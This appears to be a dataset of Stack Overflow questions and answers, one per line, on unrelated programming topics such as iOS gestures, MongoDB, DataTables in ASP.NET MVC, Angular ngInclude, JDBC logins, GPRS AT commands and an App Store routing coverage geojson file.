15515301	0	 <p>Try this way</p> <pre><code> UISwipeGestureRecognizer *_swipeRecognizer = [[UISwipeGestureRecognizer alloc] initWithTarget:self action:@selector(didSwipe:)]; [_swipeRecognizer setDirection:UISwipeGestureRecognizerDirectionLeft|UISwipeGestureRecognizerDirectionRight]; [_swipeRecognizer setDelegate:self]; [self.view addGestureRecognizer:_swipeRecognizer]; _swipeRecognizer = [[UISwipeGestureRecognizer alloc] initWithTarget:self action:@selector(didSwipe:)]; [_swipeRecognizer setDirection:UISwipeGestureRecognizerDirectionUp|UISwipeGestureRecognizerDirectionDown]; [_swipeRecognizer setDelegate:self]; [self.view addGestureRecognizer:_swipeRecognizer]; </code></pre> <p><strong>EDIT</strong></p> <p>As @LearnCocos2D <a href="http://stackoverflow.com/questions/7420078/detect-when-uigesturerecognizer-is-up-down-left-and-right-cocos2d/7760927#7760927">suggested</a> " <em>Apparently each UISwipeGestureRecognizer can only detect the swipe in the given direction. Even though the direction flags could be OR'ed together the UISwipeGestureRecognizer ignores the additional flags.</em> "</p> <p>And As per your "<strong>Note</strong>: <em>I do not need to detect the actual direction of the swipe. I just need to know there is a swipe.</em>", You just need to detect swipe not the direction so combining right-left as one and up-down as other gesture will work.</p>
21927505	0	Does DBCursor.getServerAddress work as I expect? <p>I expect <a href="http://api.mongodb.org/java/2.6/com/mongodb/DBCursor.html#getServerAddress%28%29" rel="nofollow">getServerAddress</a> to return the address of the Mongo server (one of replica set nodes), which actually handles the query.</p> <p>I am logging output of <a href="http://api.mongodb.org/java/2.6/com/mongodb/DBCursor.html#getServerAddress%28%29" rel="nofollow">getServerAddress</a> and see only the <em>primary</em> address although I am <em>pretty sure</em> that some queries are handled by <em>secondary</em>.</p> <p>I am a little bit confused since I see queries (having set <code>profillingLevel</code>) in the <em>secondary</em> while <a href="http://api.mongodb.org/java/2.6/com/mongodb/DBCursor.html#getServerAddress%28%29" rel="nofollow">getServerAddress</a> returns the <em>primary</em>. Maybe I am mistaken though ...</p> <p>Can it be a bug in the API ? Does anybody encounter such a problem ? Is it possible that <a href="http://api.mongodb.org/java/2.6/com/mongodb/DBCursor.html#getServerAddress%28%29" rel="nofollow">getServerAddress</a> always returns the <em>primary</em> while some queries are actually handled by <em>secondaries</em> ?</p>
31532854	0	 <p>I would go with a regex. I am not sure how to do this in Java but in python that would be:</p> <pre><code>(\w+):([ ,\w]+)(,|$) </code></pre> <p>Tested on <a href="http://pythex.org/" rel="nofollow">pythex</a> with input <code>abc:xy z uvw, def:g,hi, mno:rst</code>. The result is:</p> <pre><code>Match 1 1. abc 2. xy z uvw 3. , Match 2 1. def 2. g,hi 3. , Match 3 1. mno 2. rst 3. Empty </code></pre> <p>So for each match you get the key in position 1 and the value in 2. The separator is stored in 3</p>
20780300	0	 <p>The error you are getting acoording to the log is a problem concerning ClassPaths.</p> <p>Read <a href="http://stackoverflow.com/questions/34413/why-am-i-getting-a-noclassdeffounderror-in-java">here</a></p>
19300890	0	 <p>I'm not sure what are you looking for, But if you have ssh access to server, I propose to use filesystem backup or some useful tools like <a href="http://www.percona.com/doc/percona-xtrabackup/2.1/innobackupex/innobackupex_script.html" rel="nofollow">innobackupex</a> instead of mysqldump. For big data mysqldump isn't good solution.</p>
8073011	0	 <p>Pretty straightforward:</p> <pre><code>0[0-9]{3}(w000|n000|wd00|nd00)[a-z0-9]{7} </code></pre> <p>There are plenty of other ways you can represent this, but this should match the string you described.</p>
30681861	1	python socket json -- no JSON object could be decode <p>My python version is 2.7, and I encounter a problem as below picture <img src="https://i.stack.imgur.com/Y1OBH.jpg" alt="enter image description here"></p> <p><strong>This is the client</strong></p> <pre><code>name = raw_input("Please enter your username: ") passwd = raw_input("Please enter you password: ") data = {"username": name, "password": passwd} sock.connect((HOST,PORT)) sock.sendall(bytes(json.dumps(data)) </code></pre> <p><strong>And this is the server</strong></p> <pre><code>rcv_msg = json.loads(self.client_socket.recv(1024).strip()) print rcv_msg username = rcv_msg['username'] password = rcv_msg['password'] print "username: " + username print "password: " + password </code></pre> <p>However, I still get the username and password... Please someone help me to clean this bug~ Thanks</p>
15963140	0	 <p>I have done the same swipe to delete functionality using <a href="https://github.com/alikaragoz/MCSwipeTableViewCell" rel="nofollow">MCSwipeTableCell</a></p> <p>For deleting a particular row from table with animation do this:</p> <pre><code> //I am passing 0,0 so you gotta pass the row that was deleted. NSIndexPath *indexPath=[NSIndexPath indexPathForRow:0 inSection:0] [self.yourTable deleteRowsAtIndexPaths:[NSArray arrayWithObject:indexPath] withRowAnimation:UITableViewRowAnimationFade]; </code></pre> <p>For deleting from core data do this:</p> <pre><code>YourCustomModel *modelObj; NSManagedObjectContext *context= yourmanagedObjectContext; NSFetchRequest *request = [[NSFetchRequest alloc] init]; [request setEntity:[NSEntityDescription entityForName:@"YourCustomModel" inManagedObjectContext:context]]; NSPredicate *predicate = [NSPredicate predicateWithFormat:@"yourField == %@", passTheFieldValueOfTheRowDeleted]; [request setPredicate:predicate]; NSError *error = nil; NSArray *results = [context executeFetchRequest:request error:&amp;error]; if ([results count]&gt;0) { modelObj = (Customers *)[results objectAtIndex:0]; } [context deleteObject:modelObj]; if (![context save:&amp;error]) { NSLog(@"Sorry, couldn't delete values %@", [error localizedDescription]); } </code></pre>
9498632	0	 <p>Check out everything at <a href="http://diveintohtml5.info/detect.html#techniques" rel="nofollow">Dive into HTML5</a> especially the 'Detecting HTML5 Techniques' section. It has pretty much everything you may need.</p>
1788256	0	Checking the existane of a particular character in an array of strings <p>i have an array of strings say for example @"123",@"373",@"221",@"921" .I need to check in how many elements of that array 2 exists and want to concatenate those elements into a mutable string and finally eradicate all two and prepare a string.I should have a string 13373191 out of the above example</p>
35038487	0	 <p>Abstract classes are similar to interfaces. You cannot instantiate them, and they may contain a mix of methods declared with or without an implementation. However, with abstract classes, you can declare fields that are not static and final, and define public, protected, and private concrete methods. With interfaces, all fields are automatically public, static, and final, and all methods that you declare or define (as default methods) are public. In addition, you can extend only one class, whether or not it is abstract, whereas you can implement any number of interfaces.</p> <p>Which should you use, abstract classes or interfaces?</p> <ul> <li>Consider using abstract classes if any of these statements apply to your situation: <ul> <li>You want to share code among several closely related classes.</li> <li>You expect that classes that extend your abstract class have many common methods or fields, or require access modifiers other than public (such as protected and private).</li> <li>You want to declare non-static or non-final fields. This enables you to define methods that can access and modify the state of the object to which they belong.</li> </ul></li> <li>Consider using interfaces if any of these statements apply to your situation: <ul> <li>You expect that unrelated classes would implement your interface. For example, the interfaces Comparable and Cloneable are implemented by many unrelated classes.</li> <li>You want to specify the behavior of a particular data type, but not concerned about who implements its behavior.</li> <li>You want to take advantage of multiple inheritance of type.</li> </ul></li> </ul> <p><a href="http://www.javatpoint.com/q/5379/can-you-give-me-realtime-examples-on-abstract-class-and-interface?" rel="nofollow">realtime-examples</a></p> <p><a href="http://stackoverflow.com/questions/18944539/abstract-class-real-time-example">abstract-class-real-time-example</a></p>
27573303	0	 <p>I used <a href="http://www.codeproject.com/Articles/155422/jQuery-DataTables-and-ASP-NET-MVC-Integration-Part" rel="nofollow noreferrer">this</a> reference to implement DataTables with row details in MVC 4 using the Razor engine (I initially wanted to pass JSON, but found another approach that provides the functionality that I was looking for and felt along the lines of what I usually do in MVC).</p> <p>I assume that DataTables is already implemented, a means for data retrieval is implemented, and MVC 4 with the Razor engine is being used. I will only be focusing on how to implement DataTables with row details in MVC. </p> <hr> <p>My models:</p> <pre><code>public class Advisor { public int Id { get; set; } public string FirstName { get; set; } public string LastName { get; set; } public string Discipline { get; set; } } public class Student { public int Id { get; set; } public string FirstName { get; set; } public string LastName { get; set; } public string Major { get; set; } public int AdvisorId { get; set; } } </code></pre> <p>Given my models, I have a view that displays a table of advisors:</p> <pre><code>@model IEnumerable&lt;DataTablesMvcExample.Models.Advisor&gt; @{ ViewBag.Title = "Index"; //eg, [url]/Advisor Layout = "~/Views/Shared/_Layout.cshtml"; //will explain later } &lt;table id="sort"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;First Name&lt;/th&gt; &lt;th&gt;Last Name&lt;/th&gt; &lt;th&gt;Discipline&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; @foreach (var item in Model) { &lt;tr&gt; &lt;td&gt;@item.FirstName&lt;/td&gt; &lt;td&gt;@item.LastName&lt;/td&gt; &lt;td&gt;@item.Discipline&lt;/td&gt; &lt;/tr&gt; } &lt;/tbody&gt; &lt;/table&gt; </code></pre> <p>I would like to display the students each advisor advises. To do this:</p> <p>1) In my controller, with respect to the view in which the table above lies, I add the code below:</p> <pre><code>public ActionResult AdvisorStudents(int advisorId) { var advisorStudents = //retrieve students based on their advisor return View(advisorStudents); } </code></pre> <p>2) I create a view called AdvisorStudents.cshtml (eg, [url]/Advisor/AdvisorStudents)</p> <pre><code>@model IEnumerable&lt;DataTablesMvcExample.Models.Student&gt; @{ Layout = null; //Using a layout will cause this table to not open as row details. I was at a loss until I explicitly defined this. } &lt;table&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;First Name&lt;/th&gt; &lt;th&gt;Last Name&lt;/th&gt; &lt;th&gt;Major&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; @foreach (var item in Model) { &lt;tr&gt; &lt;td&gt;@item.FirstName&lt;/td&gt; &lt;td&gt;@item.LastName&lt;/td&gt; &lt;td&gt;@item.Major&lt;/td&gt; &lt;/tr&gt; } &lt;/tbody&gt; &lt;/table&gt; </code></pre> <p>3) In the view the table of advisors lie, I add the JavaScript below, DISCLAIMER: I borrowed a lot of this from the aforementioned reference.</p> <pre><code>&lt;script type="text/javascript"&gt; var oTable; $(document).ready(function () { $('#sort tbody td img').click(function () { var nTr = this.parentNode.parentNode; /* close image is displayed while viewing row details*/ if (this.src.match('close')) { //ie, match "~/[directory]/*close*.png" /* close this row as it is open */ this.src = //path of open image oTable.fnClose(nTr); } /* open image is displayed to view row details */ else { /* open this row */ this.src = //path of close image var advisorId = $(this).attr("rel"); $.get("Advisor/AdvisorStudents?AdvisorId=" + advisorId, function (students) { oTable.fnOpen(nTr, students, 'row_details'); }); } }); /* Initialize datatable and make column that opens/closes non-sortable*/ oTable = $('#sort').dataTable({ "bJQueryUI": true, "aoColumns": [ { "bSortable": false, "bSearchable": false }, null, null, null ] }); }); &lt;/script&gt; </code></pre> <p>When I initialize the DataTables for the table of advisors above, I specify four columns, with the first column not sortable or searchable. The table of advisors specified three columns above. The column not specified, which will become my first column, is where my open/close display will go. I add a header cell <code>&lt;th&gt;&lt;/th&gt;</code> and a standard cell <code>&lt;td&gt;&lt;img src=//path of open image alt="expand/collapse" rel="@item.Id"/&gt;&lt;/td&gt;</code> as the first column to achieve this.</p> <p>NOTE: You can have the open/close display in any column you'd like. To do so:</p> <p><strong>Javascript</strong></p> <ul> <li>Change <code>td</code> in <code>$('#sort tbody td img')</code> to <code>td:nth-child(x)</code> or <code>td:last-child</code>.</li> <li>Have the not sortable/searchable declaration match which column you wish to have your open/close display on</li> </ul> <p><strong>HTML</strong></p> <ul> <li>Have the <code>&lt;th&gt;</code> and <code>&lt;td&gt;</code> cells match which column you wish to have your open/close display on</li> </ul> <p><img src="https://i.stack.imgur.com/oOo21.png" alt="DataTables with row details in MVC 4"></p> <p>Hope this helps someone. <strike>I have a <a href="http://sscce.org/" rel="nofollow noreferrer">SSCCE</a> by request.</strike> I know this is a necrobump, but I couldn't find a suitable example (aside from the one I reference above) to suit my needs. This question asks for an example, here is mine.</p>
16145849	0	 <p>Because <code>typeof</code> will only return string, so it is safe to compare two strings with <code>==</code>.</p>
31225566	0	 <p>You can't use the matched group (<code>\1</code>) as a value for the <code>upload:</code> part of a static-handler - it needs to know precisely which files to upload to the static servers.</p>
14500403	0	 <p>It should be pretty easy with list comprehensions</p> <pre><code>[ f for f in sftp.listdir("path_to_files") if f.endswith(".csv") ] </code></pre>
30413134	0	rails bundle install sqlite3 failed in kali linux <p>Please help me to resolve this problem I use kali linux os!! root@artisla:~/Documents/Adilet/Programming/blog# gem install sqlite3 -- --with-sqlite3-dir=/opt/local Building native extensions with: '--with-sqlite3-dir=/opt/local' This could take a while... ERROR: Error installing sqlite3: ERROR: Failed to build gem native extension.</p> <pre><code>/usr/local/rvm/rubies/ruby-2.2.2/bin/ruby -r ./siteconf20150523-10092-2alrq5.rb extconf.rb --with-sqlite3-dir=/opt/local </code></pre> <p>checking for sqlite3.h... no sqlite3.h is missing. Try 'port install sqlite3 +universal', 'yum install sqlite-devel' or 'apt-get install libsqlite3-dev' and check your shared library search path (the location where your sqlite3 shared library is located). <strong>* extconf.rb failed *</strong> Could not create Makefile due to some reason, probably lack of necessary libraries and/or headers. Check the mkmf.log file for more details. You may need configuration options.</p> <p>Provided configuration options: --with-opt-dir --without-opt-dir --with-opt-include --without-opt-include=${opt-dir}/include --with-opt-lib --without-opt-lib=${opt-dir}/lib --with-make-prog --without-make-prog --srcdir=. --curdir --ruby=/usr/local/rvm/rubies/ruby-2.2.2/bin/$(RUBY_BASE_NAME) --with-sqlite3-dir --with-sqlite3-include --without-sqlite3-include=${sqlite3-dir}/include --with-sqlite3-lib --without-sqlite3-lib=${sqlite3-dir}/lib</p> <p>extconf failed, exit code 1</p> <p>Gem files will remain installed in /usr/local/rvm/gems/ruby-2.2.2/gems/sqlite3-1.3.10 for inspection. Results logged to /usr/local/rvm/gems/ruby-2.2.2/extensions/x86-linux/2.2.0/sqlite3-1.3.10/gem_make.out</p>
1771379	0	 <p>Python:</p> <pre><code>import os import sys if os.isatty(sys.stdin.fileno()): print "is a tty" else: print "not a tty" </code></pre> <p>I'm not aware of a Java equivalent using the default libraries; Jython appears to use native code (<a href="http://kenai.com/projects/jna-posix" rel="nofollow noreferrer">jna-posix</a>).</p> <p><strong>Update -</strong> here's two possibilities:</p> <ul> <li><a href="http://download.oracle.com/javase/6/docs/api/java/lang/System.html#console()" rel="nofollow noreferrer">System.console()</a> returns a console object if there is one; <code>null</code> otherwise (see <a href="http://stackoverflow.com/questions/4005378/console-writeline-and-system-out-println">here</a> and <a href="http://stackoverflow.com/questions/2369731/java-console-applications-is-system-out-still-the-way-to-go">here</a>)</li> <li>System.out.<a href="http://download.oracle.com/javase/6/docs/api/java/io/InputStream.html#available()" rel="nofollow noreferrer">available()</a> returns 0 if there's no input immediately available, which tends to mean stdin is a terminal (but not always - this is a less accurate test)</li> </ul>
24220654	0	Angular - linking to a ngInclude partial <p>I have followed the documentation on setting up <a href="https://docs.angularjs.org/api/ng/directive/ngInclude" rel="nofollow"><code>ngInclude</code></a> and have it working (loading in HTML partials) and changing the partial when a select option is changed.</p> <pre><code>$scope.templates = [ { name: 'Overview', url: 'partials/project/overview.html' }, { name: 'Tasks', url: 'partials/project/tasks.html' } ]; $scope.template = $scope.templates[0]; ---- &lt;div ng-controller="Tasks"&gt; &lt;select ng-model="template" ng-options="t.name for t in templates"&gt; &lt;option value=""&gt;(blank)&lt;/option&gt; &lt;/select&gt; &lt;section ng-include="template.url"&gt;&lt;/section&gt; &lt;/div&gt; </code></pre> <p>However, I don't want to use a select menu to navigate. I want to use an unordered list. I tried using <code>ngHref</code>, but that doesn't seem to work. I can't find much documentation on binding an element to change an <code>ngInclude</code> partial, but maybe I'm searching for the wrong thing.</p> <p>Any help on how I could use anchor tags to change the partial being loaded in on click would be great.</p> <p>Here's the structure I was playing around with:</p> <pre><code>&lt;ul class="header-menu"&gt; &lt;li&gt;&lt;a ng-modal="template" ng-href="{{template[0]}}" class="selected"&gt;Overview&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a ng-modal="template" ng-href="{{template[1]}}"&gt;Tasks&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>
2521628	0	 <p>As mentioned above, use collection initializers. In addition, if you are looking to convert from string[] to List , you can use the ToList() extension method in the System.Linq namespace like so:</p> <pre><code>string[] s = { "3", "4", "4"}; List&lt;string&gt; z = s.ToList(); </code></pre>
32436354	0	 <p>Typically, I attach an event to the <code>onload</code> event of the window. This will be fired whenever all the resources <em>initially present</em> on the page have loaded (css/html/images/sounds/videos).</p> <p>To do this, you simply need do the following:</p> <p><code>window.addEventListener('load', onDocLoaded, false);</code></p> <p>Next, you need a function that will actually handle this event:</p> <pre><code>function onDocLoaded(evt) { /* initialization code goes here */ } </code></pre> <p>In your case, you'd just need to add a call to the <code>exludeUserAgent</code> function to the body of <code>onDocLoaded</code>.</p>
31749735	0	request only htaccess auth for one of many domains <p>I have a system where x domains could lead to the same folder on the server.<br> (content is shown by the Database for the given domain)</p> <p>Now I want to develop a new page but I would need a htaccess auth only for this domain.</p> <p>example1.com ok<br> example2.com auth<br> example3.com ok </p> <p>Any idea?</p>
10595090	0	Derelict2 on Mac OS X 10.7: SDL failing to build <p>I'm trying to build <a href="http://www.dsource.org/projects/derelict" rel="nofollow">Derelict2</a> on Lion as per the included <a href="http://svn.dsource.org/projects/derelict/branches/Derelict2/doc/build.html" rel="nofollow">installation instructions</a>. When I run the command <code>make -fmac.mak DC=dmd</code> the following libraries build fine:</p> <ul> <li>DerelictAllegro</li> <li>DerelictFMOD</li> <li>DerelictFT</li> <li>DerelictGL</li> <li>DerelictIL</li> <li>DerelictODE</li> <li>DerelictOgg</li> <li>DerelictPA </li> </ul> <p>Unfortunately once the script gets up to DerelictSDL it spits out the following:</p> <pre><code>make -C DerelictSDL all PLATFORM=mac dmd -release -O -inline -I../DerelictUtil -c derelict/sdl/sdl.d derelict/sdl/sdlfuncs.d derelict/sdl/sdltypes.d -Hd../import/derelict/sdl dmd -release -O -inline -I../DerelictUtil -c derelict/sdl/macinit/CoreFoundation.d derelict/sdl/macinit/DerelictSDLMacLoader.d derelict/sdl/macinit/ID.d derelict/sdl/macinit/MacTypes.d derelict/sdl/macinit/NSApplication.d derelict/sdl/macinit/NSArray.d derelict/sdl/macinit/NSAutoreleasePool.d derelict/sdl/macinit/NSDictionary.d derelict/sdl/macinit/NSEnumerator.d derelict/sdl/macinit/NSEvent.d derelict/sdl/macinit/NSGeometry.d derelict/sdl/macinit/NSMenu.d derelict/sdl/macinit/NSMenuItem.d derelict/sdl/macinit/NSNotification.d derelict/sdl/macinit/NSObject.d derelict/sdl/macinit/NSProcessInfo.d derelict/sdl/macinit/NSString.d derelict/sdl/macinit/NSZone.d derelict/sdl/macinit/runtime.d derelict/sdl/macinit/SDLMain.d derelict/sdl/macinit/selectors.d derelict/sdl/macinit/string.d -Hd../import/derelict/sdl/macinit derelict/sdl/macinit/NSString.d(134): Error: cannot implicitly convert expression (this.length()) of type ulong to uint derelict/sdl/macinit/NSString.d(135): Error: cannot implicitly convert expression (str.length()) of type ulong to uint derelict/sdl/macinit/NSString.d(140): Error: cannot implicitly convert expression (cast(ulong)(selfLen + aStringLen) - aRange.length) of type ulong to uint make[1]: *** [dmd_mac_build_sdl] Error 1 make: *** [DerelictSDL_ALL] Error 2 </code></pre>
2018121	0	 <ul> <li><p>At the Microsoft 2009 Mix Web developer conference, all the presentations that I attended included code examples in C#, not VB.</p></li> <li><p>In StackOverflow, notice how questions tagged c# largely outnumber vb.net and vb.</p></li> <li><p>John Skeet wrote <em><a href="http://csharpindepth.com/" rel="nofollow noreferrer">C# in Depth</a></em>, not <em>VB in Depth</em>.</p></li> </ul>
24959488	0	 <pre><code>declare @query varchar(8000) select @query=' SELECT * FROM Products WHERE Name LIKE ''%' + replace((SELECT TOP 1 Gift.name FROM Gift),' ','%'' or name like ''%') + '%''' exec (@query) </code></pre>
1138066	0	Javascript DoEvents equivalent? <p>Here is my shortened code snippet:</p> <pre><code>$(document).ready(function() { $.get("/Handlers/SearchData.ashx", function(data) { json = $.evalJSON(data); }); //do some other stuff //use json data alert(json == null); }); </code></pre> <p>Alert says true because evalJson is not done processing JSON data yet (21kb gzipped). I need to wait somehow for it to finish before using that data - exactly what I'd do with DoEvents in a while loop. </p>
9466287	0	Erlang: How to transform a decimale into a Hex string filled with zeros <p>I would like to transform 42 (Base 10) into 000002A (Base 16) in Erlang...</p> <p>I have found some pointers on the web : </p> <pre><code>io:format("~8..0B~n", [42]) -&gt; 00000042 </code></pre> <p>And</p> <pre><code>io:format("~.16B~n", [42]) -&gt; 2A </code></pre> <p>But I cannot seems to find how to do both at the same time, I have tried : </p> <pre><code>io:format("~8..0.16B~n", [42]) </code></pre> <p>Which seemed to be the logical thing, but it is not, it gives me an error.</p> <p>Thanks.</p>
29494339	0	 <p><a href="http://bmp.lightbody.net/" rel="nofollow">BrowserMob Proxy</a> might help. I have had luck with it in the past when dealing with basic authentication.</p>
24392590	0	GPRS AT Command CGDCONT - Do I really need an APN? <p>I am developing embedded firmware to communicate with the Multi-Tech's MTSMC-H5 GPRS Modem. I am unclear the use of AT+CGDCONT command. In the H5 modem's Reference Guide, it states the command format is</p> <pre><code>&gt;AT+CGDCONT=[&lt;cid&gt;[,&lt;PDP_type&gt;[,&lt;APN&gt;[,&lt;PDP_addr&gt;[,&lt;d_comp&gt; &gt;[,&lt;h_comp&gt;[,&lt;pd1&gt;[,…[,pdN]]]]]]]]] &gt;... &gt;&lt;APN&gt; Access Point Name. String parameter that is a logical name used to select the &gt;GGSN or the external packet data network. If the value is empty (“”) or omitted, &gt;3GPP TS 27.007 AT COMMANDS then the subscription value is requested. &gt;... </code></pre> <p>What effect would that be if I leave the APN field blank? It seems I can connect to the cell network while leaving the APN field blank. I tried several SIM cards and they all seem to work without specifying the APN field. However, I'd like to know for sure that what I do is appropriate. Because I have very limited UI capability (no real keypad on the device that the modem is attached to), it is highly desirable if an end user does not have to enter any APN information.</p>
35619834	0	JDBC GUI login, textfield to local string variable <p>I have a TextField for a username named <code>username</code> and a PasswordTextField named <code>password</code>. I declared two local string variables, <code>user</code> and <code>pass</code>. I have a database but I still can't get into the "welcome" part. This is my code.</p> <pre><code>try { Class.forName("com.mysql.jdbc.Driver"); //making a connection through the driver connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/login", "root", "123456"); //System.out.println("Connected to database"); statement = connection.createStatement(); rs = statement.executeQuery("SELECT * FROM login.credentials"); while (rs.next()) { String user = rs.getString("username"); String pass = rs.getString("password"); if (username.equals(user) &amp;&amp; password.equals(pass)){ System.out.println("Welcome!"); } else { System.out.println("Invalid password!"); } } } </code></pre>
29661021	0	 <p>Simply replace:</p> <pre><code> .filter_by(year=year) .filter_by(month=month) </code></pre> <p>with:</p> <pre><code>from sqlalchemy.sql.expression import func # ... .filter(func.year(Logs.timestamp) == year) .filter(func.month(Logs.timestamp) == month) </code></pre> <p>Read more on this in <a href="http://docs.sqlalchemy.org/en/rel_0_9/core/functions.html" rel="nofollow">SQL and Generic Functions</a> section of documentation.</p>
17136314	0	Ruby on Rails, is it possible to make the model validation dependent on the input? <p>In my project I have two models, <code>Treatment</code> and <code>Category</code>:</p> <pre><code> class Category &lt; ActiveRecord::Base attr_accessible :typ has_many :treatments end class Treatment &lt; ActiveRecord::Base belongs_to :patient belongs_to :category attr_accessible :content, :day, :typ, :category_typ end </code></pre> <p>So in my treatment form the user can also choose the category (around 4 categories):</p> <pre><code>&lt;div class="field"&gt; &lt;%= f.label :category_id %&gt;&lt;br /&gt; &lt;%= f.collection_select :category_id, Category.find(:all), :id, :typ %&gt; &lt;/div&gt; </code></pre> <p>So my question is, can I make the validation of the <code>Treatment</code> model dependent on the selected categories in the form? And how?</p>
18027553	0	Get a list of checked checbox values with jQuery <p>I have the following HTML:</p> <pre><code>&lt;input type="checkbox" name="subregion[]" value="North East" /&gt;North East &lt;input type="checkbox" name="subregion[]" value="North West" /&gt;North West &lt;input type="checkbox" name="subregion[]" value="Midlands" /&gt;Midlands &lt;input type="checkbox" name="subregion[]" value="South East" /&gt;South East &lt;input type="checkbox" name="subregion[]" value="South West" /&gt;South West &lt;input type="checkbox" name="subregion[]" value="Wales" /&gt;Wales &lt;input type="checkbox" name="subregion[]" value="Scotland" /&gt;Scotland </code></pre> <p>And I want to pass through a list of values of checked inputs to a php script using ajax. I just can't work out how to achieve it with jQuery?</p>
10751059	0	 <p>I'm pretty sure that is not how JavaScript scoping works...</p> <p>In your example there are 2 ways to do what you would want to do:</p> <pre><code>//this is the bad way imo, since its not really properly scoped. // you are declaring the planeEarth and tpl globally // ( or wherever the scope of your define is. ) var plantetEarth = { name: "Earth", mass: 1.00 } var tpl = new Ext.Template(['&lt;tpl for"."&gt;', '&lt;p&gt; {name} &lt;/p&gt;', '&lt;/tpl&gt;'].join('')); tpl.compile(); Ext.define('casta.view.Intro', { extend: 'Ext.tab.Panel', //alias: 'widget.currentDate', //this makes it xtype 'currentDate' //store: 'CurrentDateStore', initComponent: function(){ this.callParent(arguments); }, html:tpl.apply(planetEarth) }); </code></pre> <p>or </p> <pre><code>//I would do some variation of this personally. //It's nice and neat, everything is scoped properly, etc etc Ext.define('casta.view.Intro', { extend: 'Ext.tab.Panel', //alias: 'widget.currentDate', //this makes it xtype 'currentDate' //store: 'CurrentDateStore', initComponent: function(){ this.tpl = new Ext.Template(['&lt;tpl for"."&gt;', '&lt;p&gt; {name} &lt;/p&gt;', '&lt;/tpl&gt;'].join('')); this.tpl.compile(); this.tpl.apply(this.planetEarth); this.html = this.tpl.apply(this.planetEarth) this.callParent(arguments); }, }); </code></pre>
33608494	0	Magento is returning “200 OK” status instead of “404 not found” <p>I have installed Magento 1.7.0.2.</p> <p>If I browse to a non-existent URL on my site, I receive a "200 OK" status from the server, despite the URL still being invalid and the 404 page still being presented.</p> <blockquote> <blockquote> <p>culr - I www.shopmami.com//aa HTTP/1.1 200 OK Date: Mon, 09 Nov 2015 11:27:49 GMT Server: Apache X-Powered-By: PHP/5.2.17</p> </blockquote> </blockquote> <p>Could you please help me?. </p>
9750309	0	javascript callback not pushing data up to the top of the calls <p>I am slowly learning how to use callbacks and I am running into trouble. I think the code below should work byt it is not.</p> <p>From what I can tell it is not descending in to the recursive function as when it hit another 'tree' entry or outputting anything at the end.</p> <p>One of the issues I ran into is the callback in the for loop. I was not sure that there is a better way to do it: I just used a counter to see if I was at the end of the loop before calling the callback.</p> <p>Some guidance would be really appreciated.</p> <pre><code>(function () { 'use strict'; var objectsList = []; function makeAJAXCall(hash, cb) { $.ajaxSetup({ accept: 'application/vnd.github.raw', dataType: 'jsonp' }); $.ajax({ url: hash, success: function (json) { if (cb) { cb(json); } }, error: function (error) { console.error(error); throw error; } }); } function parseBlob(hash, cb) { makeAJAXCall(hash, function (returnedJSON) { // no loop as only one entry if (cb) { cb(returnedJSON.data); } }); } function complete(cb, loopLength, treeContents) { concole.info(loopLength); if (cb &amp;&amp; loopLength === 0) { objectsList.push(treeContents); cb(); } } function parseTree(hash, treeName, cb) { var treeContents = {'tree': treeName, 'blobs': []}, loopLength, i, entry; var tree = 'https://api.github.com/repos/myusername/SVG-Shapes/git/trees/' + hash; makeAJAXCall(tree, function (returnedJSON) { loopLength = returnedJSON.data.tree.length; for (i = 0; i &lt; returnedJSON.data.tree.length; i += 1) { entry = returnedJSON.data.tree[i]; if (entry.type === 'blob') { if (entry.path.slice(-4) === '.svg') { // we only want the svg images not the ignore file and README etc parseBlob(entry.url, function (json) { treeContents.blobs.push(json.content); loopLength -= 1; complete(hash, loopLength, cb); }); } } else if (entry.type === 'tree') { parseTree(entry.sha, entry.path, function () {console.info(objectsList);}); } } }); } $(document).ready(function () { parseTree('master', 'master', function () { // master to start at the top and work our way down console.info(objectsList); }); }); }()); </code></pre>
18871953	0	 <p>There is also <code>goog</code> plugin (requires async and propertyParser), available on <a href="https://github.com/millermedeiros/requirejs-plugins" rel="nofollow">github</a></p> <p>Usage example for google maps:</p> <pre><code>require(["goog!maps,3,other_params:sensor=false"], function(){}); </code></pre>
12622734	0	Why App store not accepting my routing app coverage file? <p>After I upload the Aus.geojson file (routing app coverage file) I get the following error: JSON file you uploaded was invalid. The file must contain only one element of type multipolygon. Below is the JSON file which i was submitting and in which I see only one multipolygon element. Why I am getting the error?</p> <pre><code>{ "type": "FeatureCollection", "features": [ { "type": "Feature", "properties": { "name": "Australia" }, "geometry": { "type": "MultiPolygon", "coordinates": [ [ [ [ 145.397978, -40.792549 ], [ 146.364121, -41.137695 ], [ 146.908584, -41.000546 ], [ 147.689259, -40.808258 ], [ 148.289068, -40.875438 ], [ 148.359865, -42.062445 ], [ 148.017301, -42.407024 ], [ 147.914052, -43.211522 ], [ 147.564564, -42.937689 ], [ 146.870343, -43.634597 ], [ 146.663327, -43.580854 ], [ 146.048378, -43.549745 ], [ 145.431930, -42.693776 ], [ 145.295090, -42.033610 ], [ 144.718071, -41.162552 ], [ 144.743755, -40.703975 ], [ 145.397978, -40.792549 ] ] ], [ [ [ 143.561811, -13.763656 ], [ 143.922099, -14.548311 ], [ 144.563714, -14.171176 ], [ 144.894908, -14.594458 ], [ 145.374724, -14.984976 ], [ 145.271991, -15.428205 ], [ 145.485260, -16.285672 ], [ 145.637033, -16.784918 ], [ 145.888904, -16.906926 ], [ 146.160309, -17.761655 ], [ 146.063674, -18.280073 ], [ 146.387478, -18.958274 ], [ 147.471082, -19.480723 ], [ 148.177602, -19.955939 ], [ 148.848414, -20.391210 ], [ 148.717465, -20.633469 ], [ 149.289420, -21.260511 ], [ 149.678337, -22.342512 ], [ 150.077382, -22.122784 ], [ 150.482939, -22.556142 ], [ 150.727265, -22.402405 ], [ 150.899554, -23.462237 ], [ 151.609175, -24.076256 ], [ 152.073540, -24.457887 ], [ 152.855197, -25.267501 ], [ 153.136162, -26.071173 ], [ 153.161949, -26.641319 ], [ 153.092909, -27.260300 ], [ 153.569469, -28.110067 ], [ 153.512108, -28.995077 ], [ 153.339095, -29.458202 ], [ 153.069241, -30.350240 ], [ 153.089602, -30.923642 ], [ 152.891578, -31.640446 ], [ 152.450002, -32.550003 